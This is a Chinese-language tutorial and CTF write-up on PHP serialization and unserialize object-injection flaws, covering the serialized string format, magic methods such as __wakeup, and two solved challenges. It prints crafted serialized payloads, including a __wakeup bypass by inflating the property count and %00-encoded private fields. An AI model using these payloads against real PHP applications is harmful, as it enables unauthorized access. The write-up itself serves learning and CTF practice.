序列化

在写程序尤其是写网站的时候,经常会构造类,并且有时候会将实例化的类作为变量进行传输。

序列化就是在此为了减少传输内容的大小孕育而生的一种压缩方法。

我们知道一个PHP类都含有几个特定的元素:

  • 类属性、类常量、类方法。

每一个类至少都含有以上三个元素,而这三个元素也可以组成最基本的类。那么按照特定的格式将这三个元素表达出来就可以将一个完整的类表示出来并传递。序列化就是将一个类压缩成一个字符串的方法。

序列化和反序列化一般用做缓存,比如session缓存,cookie等。

而不同类型的得到的字符串格式也不同,如:

  • String : s:size:value;
  • Integer : i:value;
  • Boolean : b:value;(保存1或0)
  • Null : N;
  • Array : a:size:{key definition;value definition;(repeated per element)}
  • Object : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}

例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class userInfo
{
private $passwd = 'weak';
protected $sex = 'male';
public $name = 'ama666';
public function modifyPasswd($passwd)
{
$this->passwd = $passwd;
}
public function getPasswd()
{
echo $this->$passwd;
}
}
$ama666 = new userInfo();
$ama666->modifyPasswd('strong');
$data = serialize($ama666);
echo $data;
?>

得到的输出结果为
O:8:”userInfo”:3:{s:16:”userInfopasswd”;s:6:”strong”;s:6:”*sex”;s:4:”male”;s:4:”name”;s:6:”ama666″;}

魔法函数

一般两个下划线开头的函数都是魔术方法,所谓魔术无非就是会自动调用而已。

简单来说就是PHP中构造函数,析构函数还有一个__wakeup()函数会被自动调用。

  • **__**construct(): 当对象被创建的时候自动调用,对对象进行初始化。
    **__**destruct(): 当对象被销毁时会自动调用。
    **__**wakeup(): unserialize()时会自动调用。
    __toString(): Magic-当对象被当作字符串操作时调用
    __sleep(): 在对象在被序列化之前运行

construct在unserialize()的时候不会自动调用。可以形象地理解为构造函数便随着对象的生,析构函数便随着对象的死,序列化相当于让对象休眠,反序列化相当于让对象苏醒,所以对象苏醒时会自动调用,苏醒函数即__wakeup()函数,而不会自动调用构造函数。

反序列化

本质上serialize()和unserialize()在php内部的实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象,魔术函数以及序列化相关问题时导致的。

当传给unserialize()的参数可控时,那么用户就可以注入精心构造的payload,当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

unserialize 函数执行的时候会自动调用魔术函数**__**wakeup() 从而执行执行wakeup函数中的代码片段

例题1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);
show_source(__FILE__);
class create{
var $name='ctfer';
var $age;
var $flag;
function __wakeup(){
$user->name=$this->name;
$user->age=$this->age;
$user->flag=$this->flag;
$this->drive();
$this->getflag();
}
function getflag(){
if ($this->flag=='xcitc') {
include_once "./f1ag.php";
var_dump($f1ag);
}else {
echo 'Your car turned over.';
}
}
function drive(){
if ($this->age<18) {
exit("FBI warning!!"."<br>");
}
}
}
$arg=$_GET['arg'];
if (strlen($arg)<60) {
unserialize($arg);
}else{
echo "???";
}
?>

解析

  1. 传参给arg,并且参数字符串长度要小于60才可以执行反序列化操作
  2. 构造序列化payload使 age 大于18,flag为“xcitc”
1
"?arg=O:6:"create":2:{s:3:"age";s:2:"19";s:4:"flag";s:5:"xcitc";}"
  1. 发送请求,读出flag

例题2-[极客大挑战2019]PHP

  1. 根据提示说明网站存在备份文件,使用dirsearch扫描,发现www.zip的网站备份

    image-20200608224014797

  2. 打开php源码开始审计,几个关键点如下

    image-20200608224131546

    image-20200608224139870

  3. 然后就可以构造初步的poc了。在底部加上下面这句 输出序列化的字符

    1
    2
    3
    $a =new Name('admin','100');
    $b = serialize($a);
    echo $b;

    image-20200608224250375

    可以看到已经读出了本地的flag.php,然后就是远程的poc了

    这里需要注意一点的是,由于在Name类中声明的是private的变量,也就是私有于name类中的,所以要在变量名前加上类名Name

  4. 由于传参时会有unserialize函数进行反序列化,而这个过程会触发魔法函数__wakeup,便会强行将username的值更改为guest,从而导致无法成功执行,这就需要想办法来绕过wakeup了

  5. 绕过前我们需要先了解到反序列化字符串的特性,当属性个数的值大于实际属性个数时,就会跳过 __wakeup()函数的执行,也就是说我们只要稍加修改如下,即可绕过wakeup

    1
    O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";s:3:"100";}
  6. 最后还有一点要注意的是

    使用的private来声明的字段,private在序列化中类名和字段名前都要加上ASCII 码为 0 的字符(不可见字符),如果我们直接复制上面poc,空白字符变会丢失,所以需要我们自己加上,最终poc如下

    1
    O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

特别感谢ly0n师傅的文章以及指点,受益匪浅